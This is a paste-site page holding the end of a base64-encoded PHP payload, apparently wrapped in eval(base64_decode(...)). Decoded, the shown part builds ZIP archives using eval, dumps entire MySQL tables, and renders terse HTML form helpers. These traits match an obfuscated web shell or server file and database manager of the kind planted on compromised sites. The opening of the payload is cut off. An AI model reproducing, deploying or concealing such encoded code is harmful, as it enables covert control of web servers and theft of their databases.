IHsNCgkJJG5hbWUgPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRuYW1lKTsNCg0KCQkkZHRpbWUgPSBkZWNoZXgoJHRoaXMtPnVuaXgyRG9zVGltZSgkdGltZSkpOw0KCQkkaGV4ZHRpbWUJPSAnXHgnIC4gJGR0aW1lWzZdIC4gJGR0aW1lWzddDQoJCQkJCS4gJ1x4JyAuICRkdGltZVs0XSAuICRkdGltZVs1XQ0KCQkJCQkuICdceCcgLiAkZHRpbWVbMl0gLiAkZHRpbWVbM10NCgkJCQkJLiAnXHgnIC4gJGR0aW1lWzBdIC4gJGR0aW1lWzFdOw0KCQlldmFsKCckaGV4ZHRpbWUgPSAiJyAuICRoZXhkdGltZSAuICciOycpOw0KCQkkZnIJPSAiXHg1MFx4NGJceDAzXHgwNCI7DQoJCSRmcgkuPSAiXHgxNFx4MDAiOw0KCQkkZnIJLj0gIlx4MDBceDAwIjsNCgkJJGZyCS49ICJceDA4XHgwMCI7DQoJCSRmcgkuPSAkaGV4ZHRpbWU7DQoNCgkJJHVuY19sZW4gPSBzdHJsZW4oJGRhdGEpOw0KCQkkY3JjID0gY3JjMzIoJGRhdGEpOw0KCQkkemRhdGEgPSBnemNvbXByZXNzKCRkYXRhKTsNCgkJJGNfbGVuID0gc3RybGVuKCR6ZGF0YSk7DQoJCSR6ZGF0YSA9IHN1YnN0cihzdWJzdHIoJHpkYXRhLCAwLCBzdHJsZW4oJHpkYXRhKSAtIDQpLCAyKTsNCgkJJGZyIC49IHBhY2soJ1YnLCAkY3JjKTsNCgkJJGZyIC49IHBhY2soJ1YnLCAkY19sZW4pOw0KCQkkZnIgLj0gcGFjaygnVicsICR1bmNfbGVuKTsNCgkJJGZyIC49IHBhY2soJ3YnLCBzdHJsZW4oJG5hbWUpKTsNCgkJJGZyIC49IHBhY2soJ3YnLCAwKTsNCgkJJGZyIC49ICRuYW1lOw0KCQkkZnIgLj0gJHpkYXRhOw0KCQkkZnIgLj0gcGFjaygnVicsICRjcmMpOw0KCQkkZnIgLj0gcGFjaygnVicsICRjX2xlbik7DQoJCSRmciAuPSBwYWNrKCdWJywgJHVuY19sZW4pOw0KDQoJCSR0aGlzIC0+IGRhdGFzZWNbXSA9ICRmcjsNCgkJJG5ld19vZmZzZXQgPSBzdHJsZW4oaW1wbG9kZSgnJywgJHRoaXMtPmRhdGFzZWMpKTsNCg0KCQkkY2RyZWMgPSAiXHg1MFx4NGJceDAxXHgwMiI7DQoJCSRjZHJlYyAuPSAiXHgwMFx4MDAiOw0KCQkkY2RyZWMgLj0gIlx4MTRceDAwIjsNCgkJJGNkcmVjIC49ICJceDAwXHgwMCI7DQoJCSRjZHJlYyAuPSAiXHgwOFx4MDAiOw0KCQkkY2RyZWMgLj0gJGhleGR0aW1lOw0KCQkkY2RyZWMgLj0gcGFjaygnVicsICRjcmMpOw0KCQkkY2RyZWMgLj0gcGFjaygnVicsICRjX2xlbik7DQoJCSRjZHJlYyAuPSBwYWNrKCdWJywgJHVuY19sZW4pOw0KCQkkY2RyZWMgLj0gcGFjaygndicsIHN0cmxlbigkbmFtZSkgKTsNCgkJJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7DQoJCSRjZHJlYyAuPSBwYWNrKCd2JywgMCApOw0KCQkkY2RyZWMgLj0gcGFjaygndicsIDAgKTsNCgkJJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7DQoJCSRjZHJlYyAuPSBwYWNrKCdWJywgMzIgKTsNCgkJJGNkcmVjIC49IHBhY2soJ1YnLCAkdGhpcyAtPiBvbGRfb2Zmc2V0ICk7DQoJCSR0aGlzIC0+IG9sZF9vZmZzZXQgPSAkbmV3X29mZnNldDsNCgkJJGNkcmVjIC49ICRuYW1lOw0KDQoJCSR0aGlzIC0+IGN0cmxfZGlyW10gPSAkY2RyZWM7DQoJfQ0KDQoJZnVuY3Rpb24gZmlsZSgpIHsNCgkJJGRhdGEgICAgPSBpbXBsb2RlKCcnLCAkdGhpcyAtPiBkYXRhc2VjKTsNCgkJJGN0cmxkaXIgPSBpbXBsb2RlKCcnLCAkdGhpcyAtPiBjdHJsX2Rpcik7DQoJCXJldHVybiAkZGF0YSAuICRjdHJsZGlyIC4gJHRoaXMgLT4gZW9mX2N0cmxfZGlyIC4gcGFjaygndicsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpIC4gcGFjaygndicsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpIC4JcGFjaygnVicsIHN0cmxlbigkY3RybGRpcikpIC4gcGFjaygnVicsIHN0cmxlbigkZGF0YSkpIC4gIlx4MDBceDAwIjsNCgl9DQp9DQoNCi8vIER1bXAgbXlzcWwNCmZ1bmN0aW9uIHNxbGR1bXB0YWJsZSgkdGFibGUsICRmcD0wKSB7DQoJJHRhYmxlZHVtcCA9ICJEUk9QIFRBQkxFIElGIEVYSVNUUyAkdGFibGU7XG4iOw0KCSR0YWJsZWR1bXAgLj0gIkNSRUFURSBUQUJMRSAkdGFibGUgKFxuIjsNCg0KCSRmaXJzdGZpZWxkPTE7DQoNCgkkZmllbGRzID0gcSgiU0hPVyBGSUVMRFMgRlJPTSAkdGFibGUiKTsNCgl3aGlsZSAoJGZpZWxkID0gbXlzcWxfZmV0Y2hfYXJyYXkoJGZpZWxkcykpIHsNCgkJaWYgKCEkZmlyc3RmaWVsZCkgew0KCQkJJHRhYmxlZHVtcCAuPSAiLFxuIjsNCgkJfSBlbHNlIHsNCgkJCSRmaXJzdGZpZWxkPTA7DQoJCX0NCgkJJHRhYmxlZHVtcCAuPSAiICAgJGZpZWxkW0ZpZWxkXSAkZmllbGRbVHlwZV0iOw0KCQlpZiAoIWVtcHR5KCRmaWVsZFsiRGVmYXVsdCJdKSkgew0KCQkJJHRhYmxlZHVtcCAuPSAiIERFRkFVTFQgJyRmaWVsZFtEZWZhdWx0XSciOw0KCQl9DQoJCWlmICgkZmllbGRbJ051bGwnXSAhPSAiWUVTIikgew0KCQkJJHRhYmxlZHVtcCAuPSAiIE5PVCBOVUxMIjsNCgkJfQ0KCQlpZiAoJGZpZWxkWydFeHRyYSddICE9ICIiKSB7DQoJCQkkdGFibGVkdW1wIC49ICIgJGZpZWxkW0V4dHJhXSI7DQoJCX0NCgl9DQoJZnIoJGZpZWxkcyk7DQoNCgkka2V5cyA9IHEoIlNIT1cgS0VZUyBGUk9NICR0YWJsZSIpOw0KCXdoaWxlICgka2V5ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJGtleXMpKSB7DQoJCSRrbmFtZT0ka2V5WydLZXlfbmFtZSddOw0KCQlpZiAoJGtuYW1lICE9ICJQUklNQVJZIiAmJiAka2V5WydOb25fdW5pcXVlJ10gPT0gMCkgew0KCQkJJGtuYW1lPSJVTklRVUV8JGtuYW1lIjsNCgkJfQ0KCQlpZighaXNfYXJyYXkoJGluZGV4WyRrbmFtZV0pKSB7DQoJCQkkaW5kZXhbJGtuYW1lXSA9IGFycmF5KCk7DQoJCX0NCgkJJGluZGV4WyRrbmFtZV1bXSA9ICRrZXlbJ0NvbHVtbl9uYW1lJ107DQoJfQ0KCWZyKCRrZXlzKTsNCg0KCXdoaWxlKGxpc3QoJGtuYW1lLCAkY29sdW1ucykgPSBAZWFjaCgkaW5kZXgpKSB7DQoJCSR0YWJsZWR1bXAgLj0gIixcbiI7DQoJCSRjb2xuYW1lcz1pbXBsb2RlKCRjb2x1bW5zLCIsIik7DQoNCgkJaWYgKCRrbmFtZSA9PSAiUFJJTUFSWSIpIHsNCgkJCSR0YWJsZWR1bXAgLj0gIiAgIFBSSU1BUlkgS0VZICgkY29sbmFtZXMpIjsNCgkJfSBlbHNlIHsNCgkJCWlmIChzdWJzdHIoJGtuYW1lLDAsNikgPT0gIlVOSVFVRSIpIHsNCgkJCQkka25hbWU9c3Vic3RyKCRrbmFtZSw3KTsNCgkJCX0NCgkJCSR0YWJsZWR1bXAgLj0gIiAgIEtFWSAka25hbWUgKCRjb2xuYW1lcykiOw0KCQl9DQoJfQ0KDQoJJHRhYmxlZHVtcCAuPSAiXG4pO1xuXG4iOw0KCWlmICgkZnApIHsNCgkJZndyaXRlKCRmcCwkdGFibGVkdW1wKTsNCgl9IGVsc2Ugew0KCQllY2hvICR0YWJsZWR1bXA7DQoJfQ0KDQoJJHJvd3MgPSBxKCJTRUxFQ1QgKiBGUk9NICR0YWJsZSIpOw0KCSRudW1maWVsZHMgPSBteXNxbF9udW1fZmllbGRzKCRyb3dzKTsNCgl3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyb3dzKSkgew0KCQkkdGFibGVkdW1wID0gIklOU0VSVCBJTlRPICR0YWJsZSBWQUxVRVMoIjsNCg0KCQkkZmllbGRjb3VudGVyPS0xOw0KCQkkZmlyc3RmaWVsZD0xOw0KCQl3aGlsZSAoKyskZmllbGRjb3VudGVyPCRudW1maWVsZHMpIHsNCgkJCWlmICghJGZpcnN0ZmllbGQpIHsNCgkJCQkkdGFibGVkdW1wLj0iLCAiOw0KCQkJfSBlbHNlIHsNCgkJCQkkZmlyc3RmaWVsZD0wOw0KCQkJfQ0KDQoJCQlpZiAoIWlzc2V0KCRyb3dbJGZpZWxkY291bnRlcl0pKSB7DQoJCQkJJHRhYmxlZHVtcCAuPSAiTlVMTCI7DQoJCQl9IGVsc2Ugew0KCQkJCSR0YWJsZWR1bXAgLj0gIiciLm15c3FsX2VzY2FwZV9zdHJpbmcoJHJvd1skZmllbGRjb3VudGVyXSkuIiciOw0KCQkJfQ0KCQl9DQoNCgkJJHRhYmxlZHVtcCAuPSAiKTtcbiI7DQoNCgkJaWYgKCRmcCkgew0KCQkJZndyaXRlKCRmcCwkdGFibGVkdW1wKTsNCgkJfSBlbHNlIHsNCgkJCWVjaG8gJHRhYmxlZHVtcDsNCgkJfQ0KCX0NCglmcigkcm93cyk7DQoJaWYgKCRmcCkgew0KCQlmd3JpdGUoJGZwLCJcbiIpOw0KCX0gZWxzZSB7DQoJCWVjaG8gIlxuIjsNCgl9DQp9DQoNCmZ1bmN0aW9uIHVlKCRzdHIpew0KCXJldHVybiB1cmxlbmNvZGUoJHN0cik7DQp9DQoNCmZ1bmN0aW9uIHAoJHN0cil7DQoJZWNobyAkc3RyLiJcbiI7DQp9DQoNCmZ1bmN0aW9uIHRiaGVhZCgpIHsNCglwKCc8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjQiIGNlbGxzcGFjaW5nPSIwIj4nKTsNCn0NCmZ1bmN0aW9uIHRiZm9vdCgpew0KCXAoJzwvdGFibGU+Jyk7DQp9DQoNCmZ1bmN0aW9uIG1ha2VoaWRlKCRuYW1lLCR2YWx1ZT0nJyl7DQoJcCgiPGlucHV0IGlkPVwiJG5hbWVcIiB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cIiRuYW1lXCIgdmFsdWU9XCIkdmFsdWVcIiAvPiIpOw0KfQ0KDQpmdW5jdGlvbiBtYWtlaW5wdXQoJGFyZyA9IGFycmF5KCkpew0KCSRhcmdbJ3NpemUnXSA9ICRhcmdbJ3NpemUnXSA+IDAgPyAic2l6ZT1cIiRhcmdbc2l6ZV1cIiIgOiAic2l6ZT1cIjEwMFwiIjsNCgkkYXJnWydleHRyYSddID0gJGFyZ1snZXh0cmEnXSA/ICRhcmdbJ2V4dHJhJ10gOiAnJzsNCgkhJGFyZ1sndHlwZSddICYmICRhcmdbJ3R5cGUnXSA9ICd0ZXh0JzsNCgkkYXJnWyd0aXRsZSddID0gJGFyZ1sndGl0bGUnXSA/ICRhcmdbJ3RpdGxlJ10uJzxiciAvPicgOiAnJzsNCgkkYXJnWydjbGFzcyddID0gJGFyZ1snY2xhc3MnXSA/ICRhcmdbJ2NsYXNzJ10gOiAnaW5wdXQnOw0KCWlmICgkYXJnWyduZXdsaW5lJ10pIHsNCgkJcCgiPHA+JGFyZ1t0aXRsZV08aW5wdXQgY2xhc3M9XCIkYXJnW2NsYXNzXVwiIG5hbWU9XCIkYXJnW25hbWVdXCIgaWQ9XCIkYXJnW25hbWVdXCIgdmFsdWU9XCIkYXJnW3ZhbHVlXVwiIHR5cGU9XCIkYXJnW3R5cGVdXCIgJGFyZ1tzaXplXSAkYXJnW2V4dHJhXSAvPjwvcD4iKTsNCgl9IGVsc2Ugew0KCQlwKCIkYXJnW3RpdGxlXTxpbnB1dCBjbGFzcz1cIiRhcmdbY2xhc3NdXCIgbmFtZT1cIiRhcmdbbmFtZV1cIiBpZD1cIiRhcmdbbmFtZV1cIiB2YWx1ZT1cIiRhcmdbdmFsdWVdXCIgdHlwZT1cIiRhcmdbdHlwZV1cIiAkYXJnW3NpemVdICRhcmdbZXh0cmFdIC8+Iik7DQoJfQ0KfQ0KDQpmdW5jdGlvbiBtYWtlc2VsZWN0KCRhcmcgPSBhcnJheSgpKXsNCglpZiAoJGFyZ1snb25jaGFuZ2UnXSkgew0KCQkkb25jaGFuZ2UgPSAnb25jaGFuZ2U9IicuJGFyZ1snb25jaGFuZ2UnXS4nIic7DQoJfQ0KCSRhcmdbJ3RpdGxlJ10gPSAkYXJnWyd0aXRsZSddID8gJGFyZ1sndGl0bGUnXSA6ICcnOw0KCWlmICgkYXJnWyduZXdsaW5lJ10pIHAoJzxwPicpOw0KCXAoIiRhcmdbdGl0bGVdIDxzZWxlY3QgY2xhc3M9XCJpbnB1dFwiIGlkPVwiJGFyZ1tuYW1lXVwiIG5hbWU9XCIkYXJnW25hbWVdXCIgJG9uY2hhbmdlPiIpOw0KCQlpZiAoaXNfYXJyYXkoJGFyZ1snb3B0aW9uJ10pKSB7DQoJCQlmb3JlYWNoICgkYXJnWydvcHRpb24nXSBhcyAka2V5PT4kdmFsdWUpIHsNCgkJCQlpZiAoJGFyZ1snc2VsZWN0ZWQnXT09JGtleSkgew0KCQkJCQlwKCI8b3B0aW9uIHZhbHVlPVwiJGtleVwiIHNlbGVjdGVkPiR2YWx1ZTwvb3B0aW9uPiIpOw0KCQkJCX0gZWxzZSB7DQoJCQkJCXAoIjxvcHRpb24gdmFsdWU9XCIka2V5XCI+JHZhbHVlPC9vcHRpb24+Iik7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJcCgiPC9zZWxlY3Q+Iik7DQoJaWYgKCRhcmdbJ25ld2xpbmUnXSkgcCgnPC9wPicpOw0KfQ0KZnVuY3Rpb24gZm9ybWhlYWQoJGFyZyA9IGFycmF5KCkpIHsNCgkhJGFyZ1snbWV0aG9kJ10gJiYgJGFyZ1snbWV0aG9kJ10gPSAncG9zdCc7DQoJISRhcmdbJ2FjdGlvbiddICYmICRhcmdbJ2FjdGlvbiddID0gJHNlbGY7DQoJJGFyZ1sndGFyZ2V0J10gPSAkYXJnWyd0YXJnZXQnXSA/ICJ0YXJnZXQ9XCIkYXJnW3RhcmdldF1cIiIgOiAnJzsNCgkhJGFyZ1snbmFtZSddICYmICRhcmdbJ25hbWUnXSA9ICdmb3JtMSc7DQoJcCgiPGZvcm0gbmFtZT1cIiRhcmdbbmFtZV1cIiBpZD1cIiRhcmdbbmFtZV1cIiBhY3Rpb249XCIkYXJnW2FjdGlvbl1cIiBtZXRob2Q9XCIkYXJnW21ldGhvZF1cIiAkYXJnW3RhcmdldF0+Iik7DQoJaWYgKCRhcmdbJ3RpdGxlJ10pIHsNCgkJcCgnPGgyPicuJGFyZ1sndGl0bGUnXS4nICZyYXF1bzs8L2gyPicpOw0KCX0NCn0NCg0KZnVuY3Rpb24gbWFrZXRleHQoJGFyZyA9IGFycmF5KCkpew0KCSEkYXJnWydjb2xzJ10gJiYgJGFyZ1snY29scyddID0gMTAwOw0KCSEkYXJnWydyb3dzJ10gJiYgJGFyZ1sncm93cyddID0gMjU7DQoJJGFyZ1sndGl0bGUnXSA9ICRhcmdbJ3RpdGxlJ10gPyAkYXJnWyd0aXRsZSddLic8YnIgLz4nIDogJyc7DQoJcCgiPHA+JGFyZ1t0aXRsZV08dGV4dGFyZWEgY2xhc3M9XCJhcmVhXCIgaWQ9XCIkYXJnW25hbWVdXCIgbmFtZT1cIiRhcmdbbmFtZV1cIiBjb2xzPVwiJGFyZ1tjb2xzXVwiIHJvd3M9XCIkYXJnW3Jvd3NdXCIgJGFyZ1tleHRyYV0+JGFyZ1t2YWx1ZV08L3RleHRhcmVhPjwvcD4iKTsNCn0NCg0KZnVuY3Rpb24gZm9ybWZvb3RlcigkbmFtZSA9ICcnKXsNCgkhJG5hbWUgJiYgJG5hbWUgPSAnc3VibWl0JzsNCglwKCc8cD48aW5wdXQgY2xhc3M9ImJ0IiBuYW1lPSInLiRuYW1lLiciIGlkPVwiJy4kbmFtZS4nXCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU3VibWl0Ij48L3A+Jyk7DQoJcCgnPC9mb3JtPicpOw0KfQ0KDQpmdW5jdGlvbiBmb3JtZm9vdCgpew0KCXAoJzwvZm9ybT4nKTsNCn0NCg0KLy8gRXhpdA0KZnVuY3Rpb24gcHIoJGEpIHsNCgllY2hvICc8cHJlPic7DQoJcHJpbnRfcigkYSk7DQoJZWNobyAnPC9wcmU+JzsNCg0KfQ=='));
  3. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement